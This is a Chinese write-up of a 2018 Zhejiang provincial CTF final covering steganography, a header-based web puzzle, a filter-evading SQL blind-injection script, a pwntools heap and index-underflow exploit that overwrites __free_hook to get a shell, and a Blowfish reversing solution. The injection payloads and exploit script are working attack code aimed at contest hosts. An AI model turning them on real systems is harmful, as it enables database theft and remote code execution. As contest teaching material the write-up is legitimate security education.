浙江省首届网络安全大赛决赛Write Up

队名:ch1pppppppp 为了拿创新学分来打的这个比赛,初赛题目非常简单,决赛的题目平均质量不是很好,但是也有几道比较有趣的题目,所以放一份详细的 Write Up 出来供师傅们参考。 上午的时候由于我们没有准备 misc 的工具,又没有外网,所以一直0分,下午官方提供了 misc 工具并且开始放附加题之后,才开始上分。最后一共做出 4 道题目,得分2100分,位列本科组第一名。 ps:题目标记的得分为基础分,每一个队伍做出题目,下一个做出的队伍将会少得两分。

小猪佩奇(Misc:400分)

题目地址:

http://sec4.hdu.edu.cn:40001/pig_peppa/pig_peppa.zip

解压之后得到一个file.png 和一个 pwd.docx

直接打开pwd.docx,发现是空的,那么将其作为zip 解压,在其中找到了一张二维码

扫码之后得到结果:password:APIG

然后查看 file.png,binwalk 发现存在 mp3 文件, 使用foremost 分离

随后使用 mp3steno 解密,密码就是上面拿到的 APIG,得到 base64 编码后的 flag,解码后:

ZJCTF{YouKnow!Peppa_AsocialPerson}

你得点的快 (Web:400分)

题目地址:

http://sec4.hdu.edu.cn:20004/

点开题目地址,发现提示说,把你发现的东西 POST 回来,在响应头里面发现 flag 字段,base64 解码两次后,POST 回去即可拿到 flag

import requests
import base64

re =requests.session()
url = 'http://172.21.1.102:61234/hC1DU4oEZ3'

html = re.post(url)

head = html.headers['flag']

print html.content

heade = base64.b64decode(base64.b64decode(head).split(': ')[-1])

data = {'flag':heade,'margin':heade}

print heade

html = re.post(url,data=data)

print html.content

盲人摸象(Web:600分)

题目地址:

http://sec4.hdu.edu.cn:20003/

一道典型的 sql 盲注题,本次比赛为数不多的质量较高 Web 题目,全场也只有我们做出这道题目。

信息收集:

注入点:

POST /iFmn2H0UOq HTTP/1.1
Host: 172.21.1.102:61234

id=1&Submit=Search

测试:

  1. 首先输入正常的id 如 1,2,3,4,abcd ,发现返回的结果均为You find it!
  2. 输入id1-2,返回结果依然为You find it!,判断为字符型注入
  3. 输入',发现返回Probably you need an other mothod.,猜测为被拦截
  4. 输入",返回Hide more deep.,猜测对应为返回值为假.

那么到现在我们已经有了足够的信息:

  1. 注入为字符型注入,使用" 进行闭合
  2. 当返回值为真时,返回的内容为:You find it!
  3. 当输入的内容被拦截时,返回为:Probably you need an other mothod.
  4. 当查询函数返回值为假(语法错误,或者查询为空)时,返回为:Hide more deep.

构造POC:

那么通过这些已知信息,我们可以构造poc 首先测试一下都拦截了哪些关键字,经测试: if,mid,left,like,regexp,and,(空格),=#,'> 等关键字被过滤 比较容易想到的是,使用/**/,来代替空格,substr 来进行字符串截取,-- 来注释掉语句末尾的双引号。 而构造比较,则可以通过<,in 来实现,我选择通过in进行构造。于是poc为:

id=-1"/**/or/**/substr(user(),1,1)/**/in/**/("s")--+&Submit=Search

编写exp:

在上面poc的基础上,很容易写出脚本了,不过做题时也遇到了一些小问题,值得说一下:

  1. python 脚本中使用 -- 进行注释时,发现总会返回Hide more deep. 而在Burp 中则没有这个问题,不知道是什么原因,于是换用or "0' 来闭合双引号。
  2. 在当前库tips中,并没有发现flag ,需要进行跨库查询,首先需要先在information_schema库中,获得所有的库名。 payload:payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0' 得到还存在一个名为userless 的数据库,查询其表段,得知存在zjctf 表,flag 在其content 字段。
  3. 跑出的 flag 为:zjctf{aa0_bl1nd_hha} 但是上交时提示错误。懵了一会儿后突然想起in 是不区分大小写的。 那么猜测大写字母,针对 flag 中唯一的单词,尝试提交aa0_Bl1nd_hha 成功!

下面是完整的脚本:

"""
    Author:Li4n0
    Date:2018-11-4
"""
import requests
import string

# in 不区分大小写 需要自己再判断一次

url = 'http://172.21.1.102:61234/iFmn2H0UOq'
#payload = '-1" or substr((select group_concat(column_name) from information_schema.columns where table_name in ("zjctf")),%s,1) in ("%s") or "0'

#payload = '-1" or substr((select group_concat(table_schema) from information_schema.tables where table_schema not in ("information_schema","tips")),%s,1) in ("%s") or "0'

payload = '-1" or substr((select group_concat(content) from useless.zjctf),%s,1) in ("%s") or "0'
key = ''
length = 1
while True:
    for i in string.printable.replace('#', ''):
        data = {
            'id': payload.replace(' ', '/**/') % (str(length), i),
            'Submit': 'Search'
        }
        r = requests.post(url, data=data)
        if 'You find' in r.text:
            key += i
            length += 1
            break
    print(key)

互联互通(Pwn:800分):

主办方在比赛结束前一个半小时放出这道题目,时间上还是很紧的,所幸最后在比赛结束前 20 分钟写完了 exp,拿到了 flag。

首先提供一个binary:

链接:https://pan.baidu.com/s/1huFet01eELSUgN99GUzmwA 提取码:9d1g

IDA载入看下代码发现不少漏洞,我选择利用起来相对简单的这个,程序中对于 Index 的范围没有检查

而在编辑 message 的函数中则没有输入 index 的逻辑,而是沿用上一次的

观察 bss 段发现 username 所在的地址最低,下面有password,length 数组和 message 数组

另外在输出函数中对 index 的检查更加严格,无法进行下标溢出

于是考虑在 username 写 message 数组地址,让 index 等于 -8(计算得到的name+0x10对应的下标,之所以是name+0x10 是因为 edit 中 read 的长度是由 length[index] 控制的,而他和 message 数组的偏移是0x10,这样写就可以一起控制),然后就可以任意修改 message 数组,然后改成 got 表地址就可以在 index 不溢出的情况下leak 到 libc 地址

有了libc 地址和任意地址写,拿shell就非常容易了,这里选择一种较为简单的方式

__free_hooksystem,最后传入一个/bin/sh的地址,触发free()就可以拿到shellexp如下:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./cont')
    bin = ELF('./cont')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    cn = remote('172.21.1.103',10001)
    bin = ELF('./cont')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(idx,length,con):
    cn.sendlineafter('>> ','1')
    cn.sendlineafter('Index: ',str(idx))
    cn.sendlineafter('Length: ',str(length))
    cn.sendlineafter('Message: ',con)

def edit(idx,con):
    cn.sendlineafter('>> ','1')
    cn.sendlineafter('Index: ',str(idx))
    cn.sendlineafter('>> ','2')
    cn.sendlineafter('Edit message: ',con)

def show(idx):
    cn.sendlineafter('>> ','3')
    cn.sendlineafter('Index: ',str(idx))

def dele(idx):
    cn.sendlineafter('>> ','4')
    cn.sendlineafter('Index: ',str(idx))

def change(pw,newname,newpw):
    cn.sendlineafter('>> ','5')
    cn.sendafter('Password: ',pw)
    cn.sendlineafter('New user name: ',newname)
    cn.sendafter('New password: ',newpw)


cn.sendlineafter('What\'s user name: ','a'* 0x10 + p64(0x602A70))
cn.sendlineafter(' (y/n) ','y')
cn.sendlineafter('Password: ','bbb')


add(0,0x20,'aaaa')

change('bbb\n','a'* 0x10 + p64(0x602A70),'bbb\n')

edit(-8,p64(0x601FC0))

show(0)
cn.recvuntil('View Message: ')
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00')) - libc.sym['getchar']
print('lbase:' + hex(lbase))

change('bbb','a'* 0x10 + p64(lbase+libc.sym['__free_hook']),'bbb\n')

edit(-8,p64(lbase + libc.sym['system']))

change('bbb','a'* 0x10 + p64(0x602A70),'bbb\n')

edit(-8,p64(lbase + libc.search('/bin/sh\x00').next()))

dele(0)

cn.interactive()

最后我们再来稍微讨论一下这题其他的部分(怎么看怎么像是出给AWD的题目,然而赛制是解题)

首先在更改密码处

这个地方有个off by one,通过上面 bss 的图可以发现,这个一字节的溢出可以更改 length 数组的第一个length 的最低位,这样再通过edit功能就可以进行堆溢出相关的攻击。

另外,在 add 功能中直接就有一个堆溢出

这里判断输入的 length 如果大于0x20就只malloc(0x20),但是read的长度仍然是你输入的 length。。。

另外还有一个地方

这里有一个隐藏的命令执行,如果在AWD中被修补了某些漏洞导致我们可以劫持一次控制流但无法leak地址的话,来这里执行shellcode应该是个不错的办法.。


这题可能还藏着更多的漏洞,比赛上时间有限就只找到这些了=。=希望有兴趣的同学能挖出更多的问题,或是把我找到的但没有利用起来的漏洞写个exp也是一个不错的学习方法!

RE(author:Ch1p)

下载链接:https://pan.baidu.com/s/16hyof5OX6TZPozAqoqG0GQ

载入IDA后,main函数如下

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  const char *v3; // rax
  char s[8]; // [rsp+0h] [rbp-30h]
  __int64 v6; // [rsp+8h] [rbp-28h]
  __int64 v7; // [rsp+10h] [rbp-20h]
  __int64 v8; // [rsp+18h] [rbp-18h]
  char v9; // [rsp+20h] [rbp-10h]
  unsigned __int64 v10; // [rsp+28h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0;
  fgets(s, 33, stdin);
  if ( (unsigned int)sub_401446(s) )
    v3 = "SUCCEEDED";
  else
    v3 = "FAILED";
  puts(v3);
  return 0LL;
}

再点进去看一下函数

__int64 __fastcall sub_401446(const char *input)
{
  _BOOL4 v1; // ST1C_4
  _BOOL4 v2; // eax
  _BOOL4 v3; // ST1C_4
  _BOOL4 v4; // eax
  _BOOL4 v5; // ST1C_4
  _BOOL4 v6; // eax
  _BOOL4 v7; // ST1C_4
  __int64 result; // rax
  char v9; // [rsp+40h] [rbp-10E0h]
  __int64 v10; // [rsp+1090h] [rbp-90h]
  char v11; // [rsp+10A0h] [rbp-80h]
  char v12; // [rsp+10A1h] [rbp-7Fh]
  char v13; // [rsp+10A2h] [rbp-7Eh]
  char v14; // [rsp+10A3h] [rbp-7Dh]
  char v15; // [rsp+10A4h] [rbp-7Ch]
  char v16; // [rsp+10A5h] [rbp-7Bh]
  char v17; // [rsp+10A6h] [rbp-7Ah]
  char v18; // [rsp+10A7h] [rbp-79h]
  char s1; // [rsp+10B0h] [rbp-70h]
  char v20; // [rsp+10B1h] [rbp-6Fh]
  char v21; // [rsp+10B2h] [rbp-6Eh]
  char v22; // [rsp+10B3h] [rbp-6Dh]
  char v23; // [rsp+10B4h] [rbp-6Ch]
  char v24; // [rsp+10B5h] [rbp-6Bh]
  char v25; // [rsp+10B6h] [rbp-6Ah]
  char v26; // [rsp+10B7h] [rbp-69h]
  char v27; // [rsp+10C0h] [rbp-60h]
  char v28; // [rsp+10C1h] [rbp-5Fh]
  char v29; // [rsp+10C2h] [rbp-5Eh]
  char v30; // [rsp+10C3h] [rbp-5Dh]
  char v31; // [rsp+10C4h] [rbp-5Ch]
  char v32; // [rsp+10C5h] [rbp-5Bh]
  char v33; // [rsp+10C6h] [rbp-5Ah]
  char v34; // [rsp+10C7h] [rbp-59h]
  char v35; // [rsp+10D0h] [rbp-50h]
  char v36; // [rsp+10D1h] [rbp-4Fh]
  char v37; // [rsp+10D2h] [rbp-4Eh]
  char v38; // [rsp+10D3h] [rbp-4Dh]
  char v39; // [rsp+10D4h] [rbp-4Ch]
  char v40; // [rsp+10D5h] [rbp-4Bh]
  char v41; // [rsp+10D6h] [rbp-4Ah]
  char v42; // [rsp+10D7h] [rbp-49h]
  char v43; // [rsp+10E0h] [rbp-40h]
  char v44; // [rsp+10E1h] [rbp-3Fh]
  char v45; // [rsp+10E2h] [rbp-3Eh]
  char v46; // [rsp+10E3h] [rbp-3Dh]
  char v47; // [rsp+10E4h] [rbp-3Ch]
  char v48; // [rsp+10E5h] [rbp-3Bh]
  char v49; // [rsp+10E6h] [rbp-3Ah]
  char v50; // [rsp+10E7h] [rbp-39h]
  char s2; // [rsp+10F0h] [rbp-30h]
  __int64 v52; // [rsp+1100h] [rbp-20h]
  __int64 v53; // [rsp+1108h] [rbp-18h]
  unsigned __int64 v54; // [rsp+1118h] [rbp-8h]

  v54 = __readfsqword(0x28u);
  v10 = 0LL;
  v11 = -1;
  v12 = -1;
  v13 = -1;
  v14 = -1;
  v15 = -1;
  v16 = -1;
  v17 = -1;
  v18 = -1;
  v52 = ' derewop';
  v53 = 'ppabd yb';
  s1 = 0x17;
  v20 = 0xCBu;
  v21 = 0x34;
  v22 = 0x89u;
  v23 = 0x16;
  v24 = 0x9Bu;
  v25 = 0x61;
  v26 = 0xE2u;
  v27 = 0x58;
  v28 = 0x80u;
  v29 = 0xBDu;
  v30 = 0x26;
  v31 = 0x86u;
  v32 = 0xAFu;
  v33 = 0x5F;
  v34 = 0xACu;
  v35 = 0x85u;
  v36 = 0xCAu;
  v37 = 0xD8u;
  v38 = 0xC5u;
  v39 = 2;
  v40 = 0xF9u;
  v41 = 0x4E;
  v42 = 0x8Eu;
  v43 = 0x63;
  v44 = 0x35;
  v45 = 0xECu;
  v46 = 0x86u;
  v47 = 0x2F;
  v48 = 0x13;
  v49 = 0x81u;
  v50 = 0xA;
  v1 = strlen(input) == 32;
  sub_401166((__int64)&v10, (__int64)&v9, 8uLL);
  sub_400756((unsigned int *)input, &s2, &v9);
  v2 = v1 && !memcmp(&s1, &s2, 8uLL);
  v3 = v2;
  sub_401166((__int64)&v11, (__int64)&v9, 8uLL);
  sub_400756((unsigned int *)input + 2, &s2, &v9);
  v4 = v3 && !memcmp(&v27, &s2, 8uLL);
  v5 = v4;
  sub_401166((__int64)&v52, (__int64)&v9, 0x10uLL);
  sub_400756((unsigned int *)input + 4, &s2, &v9);
  v6 = v5 && !memcmp(&v35, &s2, 8uLL);
  v7 = v6;
  sub_400756((unsigned int *)input + 6, &s2, &v9);
  LODWORD(result) = v7 && !memcmp(&v43, &s2, 8uLL);
  return (unsigned int)result;
}

稍加分析后发现,只有一个函数与input有关,另一个函数则是生成的pbox的过程。那么我们只要将这个函数做一个逆运算即可。表可以用gdb调试然后dump下来。

代码如下:

fp = open('./aaa.txt','rb')

a = fp.read()

array = []

for i in range(0,len(a),4):
    subNum = 0
    for j in range(4):
        subNum |= ord(a[i + (3 - j)]) << ((3 - j) * 8)
    array.append(subNum)
print(len(array))
purpose = [0x17,0xcb,0x34,0x89,0x16,0x9b,0x61,0xe2]

print(array)

a1 = 0x6335ec86
a2 = 0x2f13810a
a1 ^= array[17]
a2 ^= array[16]
for i in range(16):
    s1 = array[(a1 & 0xff) + 786]
    s2 = array[((a1 & 0xff00) >> 8) + 530]
    s3 = array[((a1 & 0xff0000) >> 16) + 274]
    s4 = array[(a1 >> 24) + 18]
    a2 ^= (s1 + (s2 ^ ((s3 + s4) & 0xffffffff))) & 0xffffffff
    a1 ^= array[15 - i]
    a1,a2 = a2 & 0xffffffff,a1 & 0xffffffff

print('a1:',hex(a1))
print('a2:',hex(a2))
#flag{understandInnng_8l0WFL15H!}

由于是分段做相同的加密,仅仅换了个表。所以我都是将里面的参数手工替换的..这里只截取了最后一段的脚本。

最后放了hint才知道这是一个blowfish的加密,而且没有后任何魔改..浪费了挺多时间orz

回去后看了一下这个加密大致的流程。输入的key用来变化原来的pbox,然后再用改变pbox与要加密的字串做运算。所以我们可以得知,上面那个生成表的函数的参数应为[key,pbox_addr,key_length]

那不如用pycrypto库直接解开

from Crypto.Cipher import Blowfish

def b_decrypt(key,string):
    obj = Blowfish.new(key,Blowfish.MODE_ECB)
    para = obj.decrypt(string)
    return para

para1 = b_decrypt('\x00' * 8,'\x17\xcb\x34\x89\x16\x9b\x61\xe2')
para2 = b_decrypt('\xff' * 8,'\x58\x80\xbd\x26\x86\xaf\x5f\xac')
para3 = b_decrypt('powered by dbapp','\x85\xca\xd8\xc5\x02\xf9\x4e\x8e\x63\x35\xec\x86\x2f\x13\x81\x0a')
print(para1 + para2 + para3)

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-11-05

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏SHERlocked93的前端小站

JS 状态模式

状态模式(State)允许一个对象在其内部状态改变的时候改变它的行为,对象看起来似乎修改了它的类。 其实就是用一个对象或者数组记录一组状态,每个状态对应一个实现...

2394
来自专栏前端儿

JavaScript中常见的十五种设计模式

在JavaScript中并没有类这种概念,JS中的函数属于一等对象,在JS中定义一个对象非常简单(var obj = {}),而基于JS中闭包与弱类型等特性,在...

1501
来自专栏Python专栏

Python | 一次下完所有小说,还有谁!

来源:http://www.cnblogs.com/Josiah-Lin/p/7241678.html

1023
来自专栏Java架构师学习

分享我在阿里工作十年接触过Java框架设计模式一、前言二、责任链设计模式(Chain of Responsibility Pattern)三、工厂模式(Factory Pattern)四、单例设计模式

一、前言 说起来设计模式,大家应该都耳熟能详,设计模式代表了软件设计的最佳实践,是经过不断总结提炼出来的代码设计经验的分类总结,这些模式或者可以简化代码,或者可...

6718
来自专栏更流畅、简洁的软件开发方式

【自然框架】注册会员活动——第一份代码的修改建议(第一版)

  感谢“好坏”提供代码,这是我看过的比较不错的三层结构的代码了,业务层并不是直接调用DAL,而是有其自身的逻辑判断,并不是传声筒,很赞。 我对这份代码,按照自...

2226
来自专栏C语言及其他语言

【编程经验】C语言中EOF是什么意思

C语言中EOF的意思 今天跟大家说道说道这个C语言中EOF是什么意思。 相信很多朋友在学习C语言过程中,都看到过EOF的字样,但翻过整本C语...

3927
来自专栏决胜机器学习

数据库专题(三) ——Mysql ID生成器

数据库专题(三)——Mysql ID生成器 (原创内容,转载请注明来源,谢谢) 注:本文是我对ID生成器的见解,如果有偏差欢迎指正。 一、需求 在数据库中,...

3388
来自专栏JetpropelledSnake

ELK学习笔记之ElasticSearch的索引详解

Elasticsearch是通过Lucene的倒排索引技术实现比关系型数据库更快的过滤。特别是它对多条件的过滤支持非常好,比如年龄在18和30之间,性别为女性这...

1815
来自专栏晨星先生的自留地

关于一次渗透引发的一个php木马的分析

3745
来自专栏我杨某人的青春满是悔恨

Swift2网络操作和异常处理

相信写过Swift的人应该都知道Alamofire,它是AFNetworking的Swift版本,同一个作者写的。之前在项目中我也一直使用Alamofire,但...

1061

扫码关注云+社区